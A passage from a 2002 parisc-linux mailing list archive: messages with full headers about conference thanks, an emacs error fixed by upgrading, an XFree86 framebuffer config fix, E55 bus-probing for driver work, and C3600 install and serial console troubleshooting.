Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621448 9774 80.91.229.3 (22 Nov 2014 01:57:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 30 22:27:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id C16D1484D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Jun 2002 22:27:36 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17Osmn-0006UL-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 01 Jul 2002 00:27:37 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (21% Sync Ratio [==........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15266

Parisc,

I attended OLS this last week and had a fabulous time!
I met many of you face-to-face for the first time and 
collaborated in person :) Putting a face to that email
makes a world of difference. I just wanted to take
a minute to say thanks to all the people that helped
make my stay awesome (and that of many others). 
I didn't get a chance to say 'cheers' to many of you, 
since I was out late and had to leave early on Sunday.

So here it is:

Cheers,
Many Thanks,
Carlos.

p.s. If you are heading to Debconf II then I'll get
	another chance! :)

p.p.s Thomas is using all my bandwidth!




From - Thu Nov 08 21:23:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno =?iso-8859-1?Q?L=E9on?= <nonolemono@yahoo.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Unable to launch emacs 21.2
Date: Mon, 01 Jul 2002 09:30:42 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <200207010732.g617WgS02503@iut-lannion.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416621449 9782 80.91.229.3 (22 Nov 2014 01:57:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  1 01:32:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from iut-lannion.fr (alba.iut-lannion.fr [192.70.33.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id D8D02484F
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Jul 2002 01:32:42 -0600 (MDT)
Original-Received: from pcp91 (PCP91.iutlan.univ-rennes1.fr [129.20.233.91])
          by iut-lannion.fr (8.11.0/jtpda-5.3.1) with SMTP id g617WgS02503
          for <parisc-linux@lists.parisc-linux.org>; Mon, 1 Jul 2002 09:32:42 +0200
X-Sender: nonolemono@pop.mail.yahoo.fr
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15267

After installing the debian on my B1000, I tried to install some new
packages using dselect.
The installation process doesn't create any problem, but after that I can't
launch emacs 21.2.
I have the following message "Error : Unresolved inheritance operation".
Is there any log file I can have a look into to solve this problem?

Thanks,
Bruno. 




From - Thu Nov 08 21:23:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno =?iso-8859-1?Q?L=E9on?= <nonolemono@yahoo.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unable to launch emacs 21.2
Date: Mon, 01 Jul 2002 13:54:53 +0200
Lines: 6
Approved: news@gmane.org
Message-ID: <200207011156.g61BurS06258@iut-lannion.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416621449 9783 80.91.229.3 (22 Nov 2014 01:57:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Steve Pacenka <spacenka@lightlink.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  1 05:56:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from iut-lannion.fr (alba.iut-lannion.fr [192.70.33.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D17F484E
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Jul 2002 05:56:54 -0600 (MDT)
Original-Received: from pcp91 (PCP91.iutlan.univ-rennes1.fr [129.20.233.91])
          by iut-lannion.fr (8.11.0/jtpda-5.3.1) with SMTP id g61BurS06258
          ; Mon, 1 Jul 2002 13:56:53 +0200
X-Sender: nonolemono@pop.mail.yahoo.fr
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.2 
Original-References: <200207010732.g617WgS02503@iut-lannion.fr>
 <200207010732.g617WgS02503@iut-lannion.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15268

I just solved it by apt-get upgrade emacs.

I hope it will help ;)




From - Thu Nov 08 21:23:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bwheadley@earthlink.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Resolution: XFree 4.2
Date: Mon, 01 Jul 2002 11:25:39 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <3D208283.1060504@earthlink.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621449 9789 80.91.229.3 (22 Nov 2014 01:57:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  1 10:24:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from snipe.mail.pas.earthlink.net (snipe.mail.pas.earthlink.net [207.217.120.62])
	by dsl2.external.hp.com (Postfix) with ESMTP id 58A814850
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Jul 2002 10:24:24 -0600 (MDT)
Original-Received: from 209-165-118-194.dsl.earthlink.net ([209.165.118.194] helo=cactus.bheadley.org)
	by snipe.mail.pas.earthlink.net with esmtp (Exim 3.33 #1)
	id 17P3yR-00015E-00
	for parisc-linux@lists.parisc-linux.org; Mon, 01 Jul 2002 12:24:23 -0400
Original-Received: from localhost.localdomain
	([127.0.0.1] helo=earthlink.net ident=bheadley)
	by cactus.bheadley.org with esmtp (Exim 3.35 #1 (Debian))
	id 17P3zf-0000VJ-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 01 Jul 2002 11:25:39 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15269

It seems that adding a line,

   Section "Screen"
           Identifier      "Default Screen"
           Device  "Frame Buffer"
           Monitor  "Generic Monitor"
+         DefaultFbBpp    32
           DefaultDepth    24

Seems to do the trick. Don't know if it's needed on other resolutions...



-- 
____               .:.                 ____
Bryan W. Headley - bwheadley@earthlink.net




From - Thu Nov 08 21:23:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem find devices on the E55 I/O interfaces
Date: 01 Jul 2002 21:17:31 -0600
Lines: 80
Approved: news@gmane.org
Message-ID: <1025579851.956.469.camel@beavis>
References: <3D1A377A.E0CFABBD@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621450 9792 80.91.229.3 (22 Nov 2014 01:57:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:30 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  1 21:17:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2825C482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Jul 2002 21:17:36 -0600 (MDT)
Original-Received: from localhost.localdomain (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 94DBEBD12; Mon,  1 Jul 2002 21:17:31 -0600 (MDT)
In-Reply-To: <3D1A377A.E0CFABBD@gmx.at>
X-Mailer: Ximian Evolution 1.0.7 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15270

Hello Christoph,

Sorry for the late reply, had a great time at OLs.


On Wed, 2002-06-26 at 15:51, Christoph Plattner wrote:
> Hello PARISC hackers !
> 
> I have problems in the device probing on the E55, and I need some
> hints here. I am at the very starting point of the SCSI driver
> development, and other (Rayn) will also need this for MUX (serial),
> etc....
> 
> The E55 is a machine of the type "SYSTEM MAP TYPE".
> I instrumented the code to read out the values and elements at the
> inventory probing. I will append the log of my "debug helps", they
> are quite self explaining.
> 
> The `walk_central_bus()' calls seems to do correct work. It finds the 
> basic elements on my E55:
> 
> 	On the "56" the bus converter
> 	On "62" and "63" components on the system (main) board
> 	- "62" is the CPU, "63" the Memory
> 
> 	The search was started at the "60".
> 
> My problem now. The `walk_lower_bus()' under the device "56" cannot
> find any further devices. Seen on PDC or HP-UX, under "56/52" the
> SCSI controller is present, further the parallel interface and the 
> serial MUX also should be found.

This make sense.....

What type of bus is at 56?  The walk_native_bus (as the comments
and function name indicates) only walks native busses.  It does
look like this function should be called and work for this bus
since it is a bus converter instead of a bus adapter.

let me know what type of your central bus (I'm assuming GSC), and
the what is the type of your lower bus and I'll see what I can
find for you.

> Do we use the wrong search address here, taken from io_io_low of
> the `struct bc_module'. Do we access it in a wrong way ?
> Is THIS structure documented in any of the PARISC documents, other-
> wise, where does this structure come from ?

This structure is a specialized version of the io_module structure.
I have not found any external documentation describing it, I have
mainly figure out it out from scattered internal documentation and
HP-UX source.

Not many hints, but I'll work with you to get this figured out.

Thanks,

- Ryan


> I hope you have some hints here ...
> 
> Best regards
> Christoph P.
> 
> -- 
> -------------------------------------------------------
> private:	christoph.plattner@gmx.at
> company:	christoph.plattner@alcatel.at
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:23:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@tuxfamily.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [OT] Thanks!
Date: Tue, 02 Jul 2002 05:40:54 +0200
Organization: TuxFamily
Lines: 29
Approved: news@gmane.org
Message-ID: <3D2120C6.3070806@tuxfamily.org>
References: <20020701042737.GB24881@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621450 9798 80.91.229.3 (22 Nov 2014 01:57:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:30 +0000 (UTC)
To: parisc linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  1 21:39:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D9B2482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Jul 2002 21:39:55 -0600 (MDT)
Original-Received: from thomas ([10.1.1.2] helo=tuxfamily.org)
	by systemhalted with esmtp (Exim 3.35 #1 (Debian))
	id 17PEWC-0008Gn-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 01 Jul 2002 23:39:56 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
X-Accept-Language: fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15271

Hi all,

> 
> I attended OLS this last week and had a fabulous time!
> I met many of you face-to-face for the first time and 
> collaborated in person :) Putting a face to that email
> makes a world of difference. I just wanted to take
> a minute to say thanks to all the people that helped
> make my stay awesome (and that of many others). 
I would like to add my thanks to you, guys who were at OLS. That was 
nice and a really interesting time to spend !

> I didn't get a chance to say 'cheers' to many of you, 
> since I was out late and had to leave early on Sunday.
So goodbye to those that I did not say it personnally and probably next 
year ;)
> 
> So here it is:
> 
> Cheers,
> Many Thanks,
Thomas (Even if it is Carlos' words ;)

> 
> p.p.s Thomas is using all my bandwidth!
hehe, I need it ;) Soon, my photos will be available.




From - Thu Nov 08 21:23:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alex Green" <alexdgreen@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installing on C3600
Date: Tue, 2 Jul 2002 10:35:24 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <OE62b63Kbc9oLfgzBsc00001390@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_007B_01C221B4.2C58EB50"
X-Trace: ger.gmane.org 1416621450 9799 80.91.229.3 (22 Nov 2014 01:57:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:30 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 02:35:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe62.law3.hotmail.com [209.185.240.63])
	by dsl2.external.hp.com (Postfix) with ESMTP id B4D45482C
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 02:35:25 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Tue, 2 Jul 2002 01:35:25 -0700
X-Originating-IP: [194.175.243.90]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 02 Jul 2002 08:35:25.0578 (UTC) FILETIME=[69A7B6A0:01C221A3]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15272

This is a multi-part message in MIME format.

------=_NextPart_000_007B_01C221B4.2C58EB50
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

Hi,

I have an a problem running the latest netinstall iso on my C3600, when =
I boot from the CD with the 32bit kernel, I get some screen corruption =
and then the first installer screen appears but I have no keyboard =
response.  And if I boot from the 64bit kernel I, the installer starts =
on the serial interface, however when I attach a serial console the =
screen doesn't output correctly,  The C3600 installed with a FXE5 and =
512Mb RAM, the SCSI disk that will be used is on the internal interface.

Can anyone give me a pointer or two as to what I am doing wrong.

Thanks in advance.
AG

------=_NextPart_000_007B_01C221B4.2C58EB50
Content-Type: text/html;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dwindows-1252">
<META content=3D"MSHTML 6.00.2716.2200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3D"Courier New" size=3D2>Hi,</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2>I have an a problem running the =
latest=20
netinstall iso on my C3600, when I boot from the CD with the 32bit =
kernel, I get=20
some screen corruption and then the first installer screen appears but I =
have no=20
keyboard response.&nbsp; And if I boot from the 64bit kernel I, the =
installer=20
starts on the serial interface, however when I attach a serial console =
the=20
screen doesn't output correctly,&nbsp; The C3600 installed with a FXE5 =
and 512Mb=20
RAM, the SCSI disk that will be used is on the internal =
interface.</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2>Can anyone give me a pointer or =
two as to=20
what I am doing wrong.</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2>Thanks in advance.</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2>AG</FONT></DIV></BODY></HTML>

------=_NextPart_000_007B_01C221B4.2C58EB50--



From - Thu Nov 08 21:23:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing on C3600
Date: Tue, 02 Jul 2002 17:16:13 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <3D21DFDD.9090002@freebel.net>
References: <OE62b63Kbc9oLfgzBsc00001390@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621450 9801 80.91.229.3 (22 Nov 2014 01:57:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alex Green <alexdgreen@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 11:14:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm2.tiscalinet.be (unknown [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F0A6482E
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 11:14:36 -0600 (MDT)
Original-Received: from [62.235.230.18] (helo=freebel.net)
	by spoolm2.tiscalinet.be with esmtp (Tiscalinet) 
	id 17PREV-0002U2-00; Tue, 02 Jul 2002 19:14:32 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15273

Hi Alex,

Alex Green wrote:
> Hi,
>  
> I have an a problem running the latest netinstall iso on my C3600, when 
> I boot from the CD with the 32bit kernel, I get some screen corruption 
> and then the first installer screen appears but I have no keyboard 
> response.  And if I boot from the 64bit kernel I, the installer starts 
> on the serial interface, however when I attach a serial console the 
> screen doesn't output correctly.

If it is a hp terminal, you can change the emulation. It depends of the 
terminal type but you can have a look in your user guide or test (but I 
think that would request severall reboot) the emulation nearest vt100 IIRC.

Once you have found the right emulation, try first the more stable 
32-bits kernel (IIRC if you unplug ps/2 or usb mouse and keyboard, the 
kernel will switch to serial console on port 1).

> The C3600 installed with a FXE5 and 
> 512Mb RAM, the SCSI disk that will be used is on the internal interface.
>  

Dono if it is already supported (have a look a 
http://hwdb.parisc-linux.org/: I see that some one has already reach to 
install parisc-linux successfully)

Good luck,
     Joel




From - Thu Nov 08 21:23:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing on C3600
Date: Tue, 02 Jul 2002 17:31:00 +0000
Lines: 43
Approved: news@gmane.org
Message-ID: <3D21E354.8050701@freebel.net>
References: <OE62b63Kbc9oLfgzBsc00001390@hotmail.com> <3D21DFDD.9090002@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621451 9804 80.91.229.3 (22 Nov 2014 01:57:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alex Green <alexdgreen@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 11:29:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm1.tiscalinet.be (unknown [212.35.2.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EEB64832
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 11:29:22 -0600 (MDT)
Original-Received: from [62.235.230.18] (helo=freebel.net)
	by spoolm1.tiscalinet.be with esmtp (Tiscalinet) 
	id 17PRSp-0005xP-00; Tue, 02 Jul 2002 19:29:19 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
